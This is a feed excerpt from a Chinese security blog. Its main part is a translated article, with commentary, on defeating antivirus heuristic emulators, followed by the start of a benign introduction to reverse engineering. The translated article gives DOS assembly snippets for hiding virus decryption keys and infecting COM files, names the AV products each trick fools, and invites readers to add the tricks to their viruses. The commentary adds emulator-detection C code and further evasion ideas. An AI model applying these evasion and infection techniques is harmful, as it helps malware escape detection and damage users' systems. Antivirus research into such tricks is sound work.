&lt;p&gt;如果你想利用这一特性来对抗启发式检测技术的话，你就必须知道在386/486年代这是一种广泛的对抗启发式检测的手段。但是随着AVs的改进， 他们已经加入了对指令预期技术的支持。这是不是件很不可思议的事情，他们仿真的东西竟是不存于现在的处理器当中的。让我们再看看上面的例子，这是我们用来 对付他们的，在 pentium 或者更高级别的处理上面，像我所说的那样，程序会终止，因为这些处理器没有使用PIQ技术。但大部分的AVs会继续让代码执行那两个nops，因为他们要 仿真PIQ。所有这块我们这样做：&lt;/p&gt;
&lt;p&gt;mov word ptr [offset prefetch], 06C7h&lt;br /&gt;
prefetch:&lt;br /&gt;
int 20h&lt;br /&gt;
dw offset decrypt_key&lt;br /&gt;
dw key&lt;/p&gt;
&lt;p&gt;int 20h 指令将被覆盖，替换它的将是下面的指令&lt;br /&gt;
mov word ptr [decrypt_key], key&lt;/p&gt;
&lt;p&gt;基于对PIQ的考虑，AVs将终止程序的执行。但实际上我们的程序将继续运行，在我们的加密处理函数中设置密钥。我们仅存在一个问题，那就是我们 的代码要运行在Pentiums或更高级别的处理器上面。为了使之兼容486系列或更低一些处理器，我们只需清除掉PIQ之间的两条指令。&lt;/p&gt;
&lt;p&gt;没有什么比这更简单的了！当然，你也要知道清除所有jump类指令（jmp, call, loop, int&amp;#8230;）之间的PIQ（这一点是必需的，如果你想这样做的话）。但是我们不能简单的处理JMP Short $+2之间的指令，对于清除PIQ来说它应该是正常被执行的，因为代码仿真器是会察觉到这一点的。&lt;/p&gt;
&lt;p&gt;但是我们可以使用一个特殊的功能，CPU的陷阱标志。如果这个标志被置位，那么其后的任何指令执行都将触发int 1 的中断调用，记住这样会清除PIQ。这通常是在的调试状态下，1号中断向量只是简单的 IRET，所以我们可以使用没有任何问题。无论如何，执行后再次清除陷阱标志都是个很好的主意。下面展示的代码可以运行在任何处理器上（assumes DS = CS）。&lt;/p&gt;
&lt;p&gt;pushf                                   ;flags on the stack&lt;br /&gt;
pop ax                                  ;flags from stack into AX&lt;br /&gt;
or ax, 100000000b                       ;set trap flag&lt;br /&gt;
push ax                                 ;put the modified flags in AX back&amp;#8230;&lt;br /&gt;
popf                                    ;into the flag register via the stack&lt;/p&gt;
&lt;p&gt;mov word ptr [offset prefetch], 06C7h   ;modify the following instruction&lt;br /&gt;
prefetch:                               ;here gets int1 called =&amp;gt; clears PIQ&lt;br /&gt;
int 20h                                 ;This is never executed&lt;br /&gt;
dw offset decrypt_key                   ;where we want to write our key to&lt;br /&gt;
dw key                                  ;the actual decryption key&lt;/p&gt;
&lt;p&gt;pushf                                   ;clear the trap flag again with&lt;br /&gt;
pop ax                                  ;the same method as above.&lt;br /&gt;
xor ax, 100000000b                      ;will also fool some debuggers&lt;br /&gt;
push ax&lt;br /&gt;
popf&lt;/p&gt;
&lt;p&gt;mov word ptr [offset prefetch], 20CDh   ;restore the int20h (next generations)&lt;br /&gt;
这种方式可以骗过 AVP, Dr. Web, f-prot v3.04 (even with the /PARANOID flag),但不能通过f-prot v2.27, Nod, Ikarus and Dr. Solomon&amp;#8217;s. f-prot v2.27 and Ikarus的检测。另一方面我们也可以欺骗”正常的“使用PIQ手段（当然你要记得，这并不能运行于现在的处理器上）。&lt;/p&gt;
&lt;p&gt;2 通过FPU 的手段：&lt;/p&gt;
&lt;p&gt;我非常喜欢用欺骗方式，因为相对于大多数的有效手段来说，这种方式是非常简单。它可以愚弄*ALL*所有的扫描器。你仅需要考虑的一件事情就是启 发式扫描器不能仿真浮点指令。很明显，AVs考虑的是病毒程序运行是不需要FPU指令的。好了，让我们证明他们的想法是错误的。我们将要做的是，在加密完 成后，通过浮点数来转换密钥，解密时再将它转换成整数。&lt;/p&gt;
&lt;p&gt;; AFTER ENCRYPTION:&lt;br /&gt;
mov decrypt_key, key                    ;save key into integer variable&lt;br /&gt;
fild decrypt_key                        ;load integer key into FPU and store&lt;br /&gt;
fstp decrypt_float_key                  ;it back as floating point number&lt;br /&gt;
mov decrypt_key, 0                      ;destroy the key (very important!)&lt;/p&gt;
&lt;p&gt;; BEFORE DECRYPTION:&lt;br /&gt;
fld decrypt_float_key                   ;load the key as floating point number&lt;/p&gt;
&lt;p&gt;正向我前面所说的，这一手段非常容易且极端有效，但如果你使用它，也要考虑到运行系统的要求。如果你的virus运行在没有FPU的系统上时，他将崩溃。&lt;/p&gt;
&lt;p&gt;3 通过INT 1 的手段 ：&lt;/p&gt;
&lt;p&gt;前文已经提到，如果CPU的陷阱标志被设置，那么任何指令执行后，int 1 中断都会被调用。 我也可以通过手工的调用的int 1 中断来达到我们的目的。int 1中断的反汇编代码通常是0CDh/001h,自从有了一个专用opcode来表示int1（0F1h）中断后，这样反而是非常奇怪的，尽管这是未公开文 档化的。但是&amp;#8221;not documented&amp;#8221;的意思也应该是&amp;#8221;not emulated by AVs&amp;#8221;, ^_^ 。所有我们将这样做：我们设置一个我们自己的INT 1 中断的handler，同时调用”not doumented“ 的opcode 0F1h，返回解密密钥 。AVs 将没有办法知道解密密钥是什么。&lt;/p&gt;
&lt;p&gt;mov ax, 3501h                   ;get int vector 1, so we can restore it later&lt;br /&gt;
int 21h                         ;not really necessary, but a little bit saver&lt;br /&gt;
mov int1_segm, es&lt;br /&gt;
mov int1_offs, bx&lt;/p&gt;
&lt;p&gt;mov ax, 2501h                   ;set int vector 1 to our own routine&lt;br /&gt;
mov dx, offset int1_handler     ;we assume DS=CS&lt;br /&gt;
int 21h&lt;/p&gt;
&lt;p&gt;db 0F1h                         ;this will call our int 1 handler, which&lt;br /&gt;
mov decrypt_key, ax             ;returns the decryption key&lt;/p&gt;
&lt;p&gt;mov ax, 2501h                   ;restore the original int 1 handler&lt;br /&gt;
mov dx, cs:int1_offs&lt;br /&gt;
mov ds, cs:int1_segm&lt;br /&gt;
int 21h&lt;/p&gt;
&lt;p&gt;[...]&lt;/p&gt;
&lt;p&gt;int1_handler:&lt;br /&gt;
mov ax, key&lt;br /&gt;
iret&lt;/p&gt;
&lt;p&gt;另外一件好笑的事是，我们可以伪造程序退出，可以这样做：&lt;br /&gt;
[...]&lt;/p&gt;
&lt;p&gt;db 0F1h                         ;calls our int 1 handler (see above);&lt;br /&gt;
mov ax, 4c00h                   ;quit program&lt;br /&gt;
int 21h                         ;but&amp;#8230; this code is never reached&amp;#8230; &lt;img src='http://huaidan.org/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /&gt; &lt;/p&gt;
&lt;p&gt;[...]&lt;/p&gt;
&lt;p&gt;int1_handler:&lt;br /&gt;
mov bx, sp                      ;modify return address, so the quit command&lt;br /&gt;
add word ptr ss:[bx], 5         ;is never executed.&lt;br /&gt;
iret&lt;/p&gt;
&lt;p&gt;这是非常有效的一种手段，在我的测试中仅F-PORT  v2.27 /PARANOID 能检测出了它，尽管它只能运行在intel的CPU上。在Cyrix 或者 AMD 处理器上是不能使用这中方法的。因此你virus如果运行则将崩溃。:- （如果你想看一下的病毒情况，你可以查找我写 PR.H！ virus）&lt;/p&gt;
&lt;p&gt;4 通过INT 6 的手段：&lt;/p&gt;
&lt;p&gt;cpu 如果发现无效指令运行则int 6h 中断总是会被调用的。这个方法非常相似于INT 1 中断的手段。我们设置一个INT 6h中断的handler，然后执行一个条我们故意使用的无效指令，同时返回解密密钥。如果我们不想陷入无穷尽的循环当中，就要修改返回时的偏移。&lt;br /&gt;
mov ax, 3506h                   ;get int vector 6, so we can restore it later&lt;br /&gt;
int 21h                         ;not really necessary, but a little bit saver&lt;br /&gt;
mov int6_segm, es&lt;br /&gt;
mov int6_offs, bx&lt;/p&gt;
&lt;p&gt;mov ax, 2506h                   ;set int vector 6 to our own routine&lt;br /&gt;
mov dx, offset int6_handler&lt;br /&gt;
int 21h&lt;/p&gt;
&lt;p&gt;dw 0FFFFh                       ;an invalid opcode, will call our int 6&lt;br /&gt;
mov decrypt_key, ax             ;handler, which returns the decryption key&lt;/p&gt;
&lt;p&gt;mov ax, 2506h                   ;restore the original int 6 handler&lt;br /&gt;
mov dx, cs:int6_offs&lt;br /&gt;
mov ds, cs:int6_segm&lt;br /&gt;
int 21h&lt;/p&gt;
&lt;p&gt;[...]&lt;/p&gt;
&lt;p&gt;int6_handler:&lt;br /&gt;
mov ax, key&lt;br /&gt;
mov bx, sp&lt;br /&gt;
add word ptr ss:[bx], 2         ;modify return address - very important!&lt;br /&gt;
;2 is the size of our invalid opcode.&lt;br /&gt;
iret&lt;/p&gt;
&lt;p&gt;请记住，这一方式并不能工作在window系统下的dos窗口程序中，因为window会率先截获一个无效的opcode，并给出错误消息(thanks to Z0MBiE for that tip)。所以如果你想使你的DOS virus兼容window，那么不要用此方法，尽管破坏引导区的virus实在是很美妙的。&lt;/p&gt;
&lt;p&gt;5 感染COM文件及FAR JUMP方式：&lt;/p&gt;
&lt;p&gt;我不喜欢delta offsets方式，所有我开始尝试用far jump方式来感染com文件（当然，还是要加上些代码用来重定位的）：&lt;/p&gt;
&lt;p&gt;mov ax, cs                      ;Relocate far Jump&lt;br /&gt;
add [offset com_seg], ax&lt;br /&gt;
JMP SHORT $+2                   ;Clear prefetch queue&lt;br /&gt;
db 0EAh                         ;OP-Code far Jump&lt;br /&gt;
dw offset start                 ;Offset&lt;br /&gt;
com_seg dw 0                    ;Segment (length of com file in paragraphs)&lt;br /&gt;
;pad filesize to even paragraph!&lt;/p&gt;
&lt;p&gt;这段代码可以非常稳定地运行，我很惊讶，这种感染方式可以阻止AVP和Tbscan的来发现文件已被感染的检测方式。如果想看全部的virus欺骗技巧，再一次提醒您，可以查找我写 PR.H！- virus。&lt;/p&gt;
&lt;p&gt;6 初始化寄存器方式：&lt;/p&gt;
&lt;p&gt;大多是DOS版本的系统，在程序开始时的寄存器值是下面这样的：&lt;/p&gt;
&lt;p&gt;AX=BX=0000h (if the first/second command line parameter contain a illegal&lt;br /&gt;
drive letter, AL/AH are set to 0FFh)&lt;br /&gt;
CX=00FFh&lt;br /&gt;
DX=DS=ES=PSP segment address&lt;br /&gt;
SI=IP&lt;br /&gt;
DI=SP&lt;br /&gt;
BP=91Ch/912h depending on DOS/Windows version.&lt;/p&gt;
&lt;p&gt;如果你知道这些，你就可以利用这些值来加密你的virus了&amp;#8212;- 一些AVs并不能正确的仿真这些值，因为这些大部分是undocumented。例如，我是用91h（BP shr 4）来加密/解密我的病毒体，可以非常好的欺骗TBAV, DrWeb, f-prot v2.27 and Ikarus这些AVs,但是不能很好的对抗AVP和NOD。&lt;/p&gt;
&lt;p&gt;当然除了BP你还可选择其它寄存器来做这样的事情，保存加密密钥到指向EXE头部的堆栈处指针。例如，设置正确的堆栈在程序开始或解密代码处使用DI，或 者在加密/解密处使用cx做异或操作。这些可激发你足够的想象力。但请记住，这些undocumented的技巧并在所有dos版下都一样。例 如，freedos则在程序开始时设置所有通用寄存器都为0值。如果你想使用这一技巧，就要有心里准备，你的virus崩溃在这些系统的环境中了。&lt;/p&gt;
&lt;p&gt;因此你必选结合起来其它的欺骗方式来对抗所有AVs，正如我刚才所说的，它们不是非常强大，基于这个理由，我并不是非常喜欢这种欺骗方式，但无论如何都要感谢bfr0vrfl0为这一方式所创造的灵感。&lt;/p&gt;
&lt;p&gt;7 ENDLESS LOOPS：&lt;/p&gt;
&lt;p&gt;这是个很古老的手段了。它不同于这篇文章中介绍的其它技术，但当我测试时才惊讶的发现，它非常的棒，可以骗过Thunderbyte, Dr. Web and Ikarus。这一想法的出发点是，那些启发式的扫描器，仅仿真了最开始处的一些指令，然后停止，以此加快扫描速度。因此，我们可以在病毒体开始处设置一 个很长的循环，下面是一经典的模式：&lt;/p&gt;
&lt;p&gt;mov cx, 0FFFFh&lt;br /&gt;
loop_head:&lt;br /&gt;
jmp short over_it&lt;br /&gt;
mov ax, 4C00h                   ;actually this isn&amp;#8217;t needet, but it&amp;#8217;s the&lt;br /&gt;
int 21h                         ;&amp;#8221;classic&amp;#8221; implementation of this trick.&lt;br /&gt;
over_it:&lt;br /&gt;
loop loop_head&lt;/p&gt;
&lt;p&gt;你还可以使用不同类型的循环，或者像Opic&amp;#8217;s Odessa-B virus那样的手法，非常长的一个解密循环。&lt;/p&gt;
&lt;p&gt;这篇文章所公布的这些anti heuristic 技术目前为止都可以正常运行。当然AVs也可能改进它们的一些不足，在未来使这些方式失效。随时欢迎把这些技巧加入到你virus当中。使它们作为AVs 无法检测出的地狱，展示给那些愚蠢的AV看他们所谓的”保护“。（译完）&lt;/p&gt;
&lt;p&gt;可以看出此篇文章的作者对AV产品中，初期的启发式技术研究的非常深入，目标明确，知晓启发式检测的很多弱点。怎奈时代变换，多态变形病毒已经产 量稀少，启发式技术整体上进步缓慢。上面提及的技术虽然已经不能造成多大危害，但基于代码仿真的启发式检测仍有很多个方面会受到技术上的挑战。&lt;/p&gt;
&lt;p&gt;1 利用SEH方式：&lt;/p&gt;
&lt;p&gt;虽然启发式的仿真器会模拟SEH异常处理，但解决这一对抗性问题却并非像实现一个SEH识别器那样简单。比如virus在解密的过程中洒下随机代码，建立 异常处理，随后迫使处理器出错，进入virus的异常处理函数，进而再跳向另一个解密引擎中执行代码。如果AV不能处理这样的异常，病毒的代码也就无从执 行，那么和谈检测呢。最大的问题就是仿真环境无法完美的处理某条指令引发的引发的特定异常。&lt;/p&gt;
&lt;p&gt;2 慢随机执行方式：&lt;/p&gt;
&lt;p&gt;可以利用任何程序开始执行时的随机数据来决定是否进行解密及感染，随机时间也好，日期也好都行，或者像win95下利用FS:[0ch]指向的TIB数据 （在win 9x下该处数据随机）。目的只有一个，即便被模拟运行，也无法使AV得到100%的检测率，这也是我以前曾提到过的，仿真器应该具有指令预分析的功能。&lt;/p&gt;
&lt;p&gt;3 利用多线程：&lt;/p&gt;
&lt;p&gt;多线程的模拟并非高不可攀，关键的难点在于线程间的同步。这一点上没什么可说，仍然是AV今后要努力解决的问题。&lt;/p&gt;
&lt;p&gt;4 RDA 方式：&lt;/p&gt;
&lt;p&gt;病毒体解密代码可以不知道加密时的密钥，而是通过RDA（随机解密算法）方式来获得，目的只有一个，真实环境下解密部分可以很快运行完，但仿真环境下却会很慢，暴力搜索密钥算法，可能会产生很多个大循环，以此来迫使仿真器退出执行环境。&lt;/p&gt;
&lt;p&gt;5 EOP 方式：&lt;br /&gt;
仿真器不会很有耐心地执行完程序的每一条指令，只要你的病毒所在宿主程序入口点足够的靠后，那你就胜利了一半，仿真器会因失去耐心而丢下你不管 的。此时我想到了ExitProcess，聪明的你肯定明白了接下来将要干什么了，当然，当你知道这样做的时候，AV已经开始行动了，但关键是我们已经找 到了一种对抗的思路了。&lt;/p&gt;
&lt;p&gt;6 分析执行逻辑方式：&lt;br /&gt;
这一点是从xyzreg那里学到的，考虑到程序真实的运行与仿真环境的差别，也就知道如何对抗了。指令预取反跟踪也属于这一思路的范畴。下面是xyzreg给出的代码：&lt;/p&gt;
&lt;p&gt;DWORD fpid,epid;&lt;br /&gt;
void VMM()&lt;br /&gt;
{&lt;br /&gt;
PROCESSENTRY32 pe;&lt;br /&gt;
HANDLE hkz=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);&lt;br /&gt;
pe.dwSize=sizeof(PROCESSENTRY32);&lt;br /&gt;
if (Process32First(hkz,&amp;amp;pe))&lt;br /&gt;
{&lt;br /&gt;
do&lt;br /&gt;
{&lt;br /&gt;
if (pe.th32ProcessID==GetCurrentProcessId())&lt;br /&gt;
{&lt;br /&gt;
fpid=pe.th32ParentProcessID;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;if (stricmp(pe.szExeFile,&amp;#8221;explorer.exe&amp;#8221;)==0)&lt;br /&gt;
{&lt;br /&gt;
epid=pe.th32ProcessID;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
while(Process32Next(hkz,&amp;amp;pe));&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
void main()&lt;br /&gt;
{&lt;br /&gt;
if(fpid!=epid)&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
即便是一向作风严谨AVP也会有此疏漏，且在仿真的执行环境中与正常执行相悖的逻辑还有很多处，如GetModuleFileName。所以仿真的启发式检测远没有达到十分完善的地步。&lt;/p&gt;
&lt;p&gt;还有一些对抗技巧如利用MMX指令或利用API传递控制等，但因这些技巧本身不会对启发式检测构成绝对威胁此处不再一一举例。启发是虽是对抗 virus的利器，但我更感觉越是复杂高级的检测技术反而越加脆弱，脆弱的原因就是太过于复杂，所谓智者千虑必有一失吧。在没有加密、多态病毒出现前，特 征匹配技术对待病毒可谓一剑封喉。或许越是简单的技术越是无懈可击。一次偶然间发现NOD可以仅用高级侦测模式，检测出被感染的文件，并精确的给出病毒 名。或许启发式检测加适量的特征应该是对抗virus的最好武器吧。&lt;/p&gt;
&lt;p&gt;附参考文献:&lt;br /&gt;
[1] Black Jack . 《Anti heuristic techniques》原文出处 &lt;a href=&quot;http://vx.netlux.org/lib/vbj01.html&quot; target=&quot;_blank&quot;&gt;http://vx.netlux.org/lib/vbj01.html&lt;/a&gt;&lt;br /&gt;
[2] Peter Szor . 《The Art of Computer Virus Research and Defense 》&lt;br /&gt;
[3] xyzreg.      《可怜的高级虚拟机启发式查毒》&lt;a href=&quot;http://www.xyzreg.net/blog/read.php?39&quot; target=&quot;_blank&quot;&gt;www.xyzreg.net/blog/read.php?39&lt;/a&gt;&lt;/p&gt;
	&lt;p&gt;&lt;/p&gt;
	&lt;hr noshade style=&quot;margin:0;height:1px&quot; /&gt;
	&lt;p&gt;评论数量(0) | &lt;a href=&quot;http://huaidan.org/archives/1961.html#respond&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/technology&quot; title=&quot;显示技术文章的所有日志&quot; rel=&quot;category tag&quot;&gt;技术文章&lt;/a&gt;
	&lt;br /&gt;本文网址：&lt;a href=&quot;http://huaidan.org/archives/1961.html&quot;&gt;http://huaidan.org/archives/1961.html&lt;/a&gt;&lt;/p&gt;
	&lt;small&gt;&lt;p&gt;&amp;copy; 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2008. | Add to &lt;a href=&quot;http://del.icio.us/post?url=http://huaidan.org/archives/1961.html&amp;amp;title=对抗启发式代码仿真检测技术分析&quot;&gt;del.icio.us&lt;/a&gt; &lt;a href=&quot;http://www.digg.com/submit&quot;&gt;digg&lt;/a&gt; | Who's linking ? &lt;a href=&quot;http://www.technorati.com/search/http://huaidan.org/archives/1961.html&quot; title=&quot;Search on Technorati&quot;&gt;Technorati&lt;/a&gt; &lt;a href=&quot;http://google.com/blogsearch?q=http://huaidan.org/archives/1961.html&quot; title=&quot;Search on Google Blog Search&quot;&gt;Google&lt;/a&gt; &lt;a href=&quot;http://www.blogpulse.com/search?query=http://huaidan.org/archives/1961.html&quot; title=&quot;Search on Blogpulse&quot;&gt;BlogPulse&lt;/a&gt;.&lt;/small&gt;&lt;/p&gt;
	&lt;h4&gt;相关日志&lt;/h4&gt;
	&lt;ul class=&quot;st-related-posts&quot;&gt;
	&lt;li&gt;无相关日志&lt;/li&gt;
	&lt;/ul&gt;&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/953274433823e8d655435a66d7f60924&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/953274433823e8d655435a66d7f60924/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/1961.html/feed</wfw:commentRss><description>作者：nEINEI
邮箱：neineit@gmail.com
完成于：08-05-06
来源：安全焦点
最近在研究病毒的检测技术，虽然在这个木马、流氓件猖獗的年代，检测技术（除了考虑效率因素外）已经变得不是十分重要了...&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/sunlei/953274433823e8d655435a66d7f60924&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/sunlei/953274433823e8d655435a66d7f60924/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;</description><category>技术文章</category><pubDate>Thu, 08 May 2008 12:54:37 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/1961.html#comments</comments><guid isPermaLink="false">http://huaidan.org/?p=1961</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/1961.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/72180821/1230972</fs:itemid></item><item><title>代码逆向乱谈之导引</title><link>http://huaidan.org/archives/1960.html</link><content:encoded>&lt;p&gt;作者：&lt;a href=&quot;https://www.xfocus.net/bbs/index.php?lang=cn&amp;amp;act=Profile&amp;amp;do=03&amp;amp;MID=143722&quot;&gt;xikug&lt;/a&gt; (xikug_at_163.com)&lt;br /&gt;
来源：安全焦点&lt;/p&gt;
&lt;p&gt;序&lt;/p&gt;
&lt;p&gt;早就想写点什么，自己都不知道一天在瞎忙什么，一直到最近才开始动手。。。我想通过这个乱谈系列跟大家分享一些心得。我打算在这个系列文章中讲点方法与思 路，当然，很多方法并不是我的原创，只是我用这些方法和思路解决了我的实际问题。由于本人水平有限，很多说法只是我个人的理解，然后用我自己的语言表达出 来，可能并不专业，所以在这里不负责任的乱谈一下，欢迎大家拍砖。&lt;br /&gt;
&lt;span id=&quot;more-1960&quot;&gt;&lt;/span&gt;什么是代码逆向&lt;/p&gt;
&lt;p&gt;代码逆向即是在没有源代码的情况下，对目标程序的行为、数据流、及编译器生成的代码进行分析，通过分析我们可以了解、发现程序的功能、流程、规则、及技术 实现细节等，通过分析我们能对其进行优化、功能增强、漏洞填补、甚至还原成源代码等。这个分析过程我们可以称作逆向分析或逆向工程，简称逆向。&lt;/p&gt;
&lt;p&gt;对我们个人而言或许我们能够从逆向分析的过程得到的最大好处就是学习到优秀程序的设计思想、及技术实现细节。&lt;/p&gt;
&lt;p&gt;当今，逆向分析技术在很多地方都得到了应用，典型应用包括恶意软件分析、漏洞挖掘、BUG定位、技术探秘等。&lt;/p&gt;
&lt;p&gt;有人可能会说逆向太无耻了，自己不会写就偷别人的代码。。。我就不相信说这话的人什么都会，我就不信他没有分析过别人的东西，学习过别人的东西，我只能说 他是无知的。。。殊不知逆向是一个探索未知的方法，是一种学习态度，是代表不屈服于困难的精神。如果没有逆向当前的很多科学进步不了这么快，也可能不能取 得进步，科学研究就是探索未知，把我们未知的东西进行分析研究变成已知，不光是软件领域有逆向工程的应用，其他领域如：基因重组、化工、制药、电子、建 筑、航空、军事等领域也存在着他们各自的逆向工程应用，逆向工程帮助科研人员把未知的东西进行分解、研究、组合、改进等，甚至创造新的东西出来等，科学就 是这样一点点进步的。&lt;/p&gt;
&lt;p&gt;通过逆向得到的好处是显而易见的，然而任何技术都是把双刃剑，逆向分析技术也不例外。可能被人用于学习、解决技术问题或做有益于软件安全的事，也可能被人用于搞破坏。&lt;/p&gt;
&lt;p&gt;逆向方法&lt;/p&gt;
&lt;p&gt;白盒分析&lt;br /&gt;
白盒分析就是从代码级别上(可能是反汇编代码、反编译的伪代码或源代码)，通过动态调试或静态反汇编分析和理解程序的功能、逻辑，找到程序的安全问题等。&lt;/p&gt;
&lt;p&gt;黑盒分析&lt;br /&gt;
黑盒分析是指从程序的外部，通过观察程序运行时候的行为，规则等来猜测和断定程序可能的实现方法，是否有存在脆弱点等。&lt;/p&gt;
&lt;p&gt;灰盒分析&lt;br /&gt;
灰盒分析通常需要借助一些专有工具(可能需要自己编写)，如api监视工具，陷阱工具，内存比较工具，文件监视工具等对目标程序进行监控，看它发生了什么 操作，调用了哪些api，产生了哪些结果，在系统哪些地方安插了HOOK或过滤等，以此来猜测和断定程序可能的实现细节。&lt;/p&gt;
&lt;p&gt;目前越来越多的程序加了VM或进行了代码扭曲，用白盒分析此类程序可能会花很大力气也找不到突破口，而黑盒和灰盒分析往往对这类程序可能有意想不到的效果。&lt;/p&gt;
&lt;p&gt;逆向手段&lt;/p&gt;
&lt;p&gt;动态调试&lt;br /&gt;
通过调试器对目标程序进行追踪分析，能够清楚的了解到程序运行起来后内部的状态，运算结果等信息。&lt;/p&gt;
&lt;p&gt;静态反汇编/反编译分析&lt;br /&gt;
使用反汇编器或反编译器把目标程序变为可读的汇编代码或伪代码，然后分析程序的结构，流程，逻辑等。&lt;/p&gt;
&lt;p&gt;如何学习&lt;/p&gt;
&lt;p&gt;逆向并不是想像中那么难，但也不是想像中的那么简单，真正困难的是如何有效的运行这些方法和手段来更快、更好的达到我们的目的，这需要累积大量的程序设计经验和逆向经验。&lt;/p&gt;
&lt;p&gt;通常我们进行逆向的时候希望达到的目的大致可分为以下几种：&lt;/p&gt;
&lt;p&gt;技术探秘/代码还原&lt;/p&gt;
&lt;p&gt;软件漏洞挖掘&lt;/p&gt;
&lt;p&gt;软件Bug定位&lt;/p&gt;
&lt;p&gt;软件行为/规则分析&lt;/p&gt;
&lt;p&gt;解除软件的使用限制&lt;/p&gt;
&lt;p&gt;进行辅助程序的开发&lt;/p&gt;
&lt;p&gt;我们要达到的目的不同，逆向时采用的方法和手段的“细腻”程度也不会相同，譬如我们对一个win32平台下的内核驱动进行“技术探秘/代码还原”的时候可 能会把白盒、黑盒和灰盒所有的方法和手段都用上，每段汇编代码我们都必须看懂，代码实现了什么功能，跟另一段代码有什么关系，理解整个代码的架构和思想 等；而我们在进行“软件行为/规则分析”的时候可能只需用上黑盒或灰盒分析法就够了，知道按下这个按钮后读写了哪些文件，哪些注册表项，调用了哪些api 等等。分析过程中有时候我们只需静态反汇编看一下就可以了，有时候我们可能还需要动态调试一下，总之没有固定的套路，一切视情况而定。&lt;/p&gt;
&lt;p&gt;扎实的编程基础是学好逆向的关键，基础打好了学什么都快。程序的基础就是算法和数据结构，语言只是一个实现的工具，绝大多数语言都是相通的，我们只要掌握一门，以后如果需要学习其他语言的话上手就会很快了，基础知识我们重点需要掌握以下内容：&lt;/p&gt;
&lt;p&gt;１．至少一门高级程序设计语言，推荐C语言或Pascal&lt;br /&gt;
２．x86汇编语言&lt;br /&gt;
３．常用算法和数据结构&lt;/p&gt;
&lt;p&gt;软件一般都是在特定平台下运行的，如Windows平台，Linux平台，WinCE平台，Java平台，Symbian平台，Plam平台等等。。。针 对特定平台下的软件逆向，需要掌握特定平台下程序设计的相关知识，包括其SDK，进程管理，内存管理，文件系统等。这些东西不必全部精通，但要有个大致的 了解，常用Api要知道，有特定平台下的程序设计经验最佳，遇到问题知道在哪里能找到自己想要的资料就够了。逆向的过程本身就是一个学习的过程，因此我们 可以在逆向的过程中补充自己相关的知识，这样学习的效果是最佳的。(由于本人所接触的面比较窄，接触得最多的就是x86 Windows平台下的原生程序逆向，因此本系列文章中的内容除非特别说明都是指x86的Windows平台下原生程序和代码)&lt;/p&gt;
&lt;p&gt;学习逆向的最好方式就是动手实践，在实践中有针对性的学习。通常来说我们逆向时所面临的东西对我们来说是未知的或者是可能知道但不确定的，如果是已知的就 没必要再去逆向了。针对性的学习就是在自己逆向的时候缺什么知识就补什么知识，日积月累过后我们的收获是相当可观的，不光是经验值的增长，还有知识面的增 长和知识深度的增长。&lt;/p&gt;
&lt;p&gt;编程的经验对于我们实践逆向时也很重要，例如进行“漏洞挖掘”的时候我们可能会以程序设计者的角色进行思考，程序在哪些地方需要进行防范，哪些地方可能会 出现漏洞等等，如果我们有足够的经验的话，可以很快定位到相关的代码部分对其进行分析，看是否存在可能的漏洞。又如在进行“技术探秘/代码还原”的时候， 由于现在的程序规模越来越大，我们不可能每条指令，每段代码都去看，都去逆向，假如一个１M的程序需要这样做的话，光时间成本上来说成本都是相当高的，因 此我们需要快速定位关键代码段，而丰富的编程经验有助于我们做到这一点。拓宽自己的编程知识面、积累编程经验跟积累逆向经验同样重要。丰富的编程经验能让 我们事半功倍。&lt;/p&gt;
&lt;p&gt;另外在进行代码还原时我们最好能用原始程序的实现语言进行还原，这是为了避免麻烦，因为现代的编程语言通常都有自己的Framework，提供各种各样的 类库，他们功能各异，互不兼容，如一个VCL的程序我们硬要用MFC对其还原，VCL的某一非常复杂的机制或功能在MFC中可能没有，而自己如果在MFC 中实现的话工作量是相当庞大的，这时的结果可能就会是事倍功半了。因此我建议在代码还原时最好使用原语言进行，原来是C的就用C，原来是Delphi的就 用Delphi，原来是Python的就用Python。。。&lt;/p&gt;
&lt;p&gt;逆向工程时常具有“四两拔千斤”的功效，我也不太会表述，等你有足够的实践之后大概才能体会到，这个就只能意会不能言传了:P。&lt;/p&gt;
&lt;p&gt;学习资源&lt;br /&gt;
上面说了那么多，是时候介绍一些学习资源的时候了，这些资源都是比较基本的，可说是学习阶段必备的，希望在大家学习和实践的过程中能帮到大家。&lt;/p&gt;
&lt;p&gt;书&lt;br /&gt;
《Windows程序设计(第５版)》 – Windows平台下程序设计的经验教程。URL - &lt;a href=&quot;http://www.china-pub.com/2382&quot; target=&quot;_blank&quot;&gt;http://www.china-pub.com/2382&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;《Windows核心编程》 – 又是一本经验的书，可以帮助你把Windows下的编程技术提升一个层次。 URL - &lt;a href=&quot;http://www.china-pub.com/131&quot; target=&quot;_blank&quot;&gt;http://www.china-pub.com/131&lt;/a&gt;&lt;/p&gt;
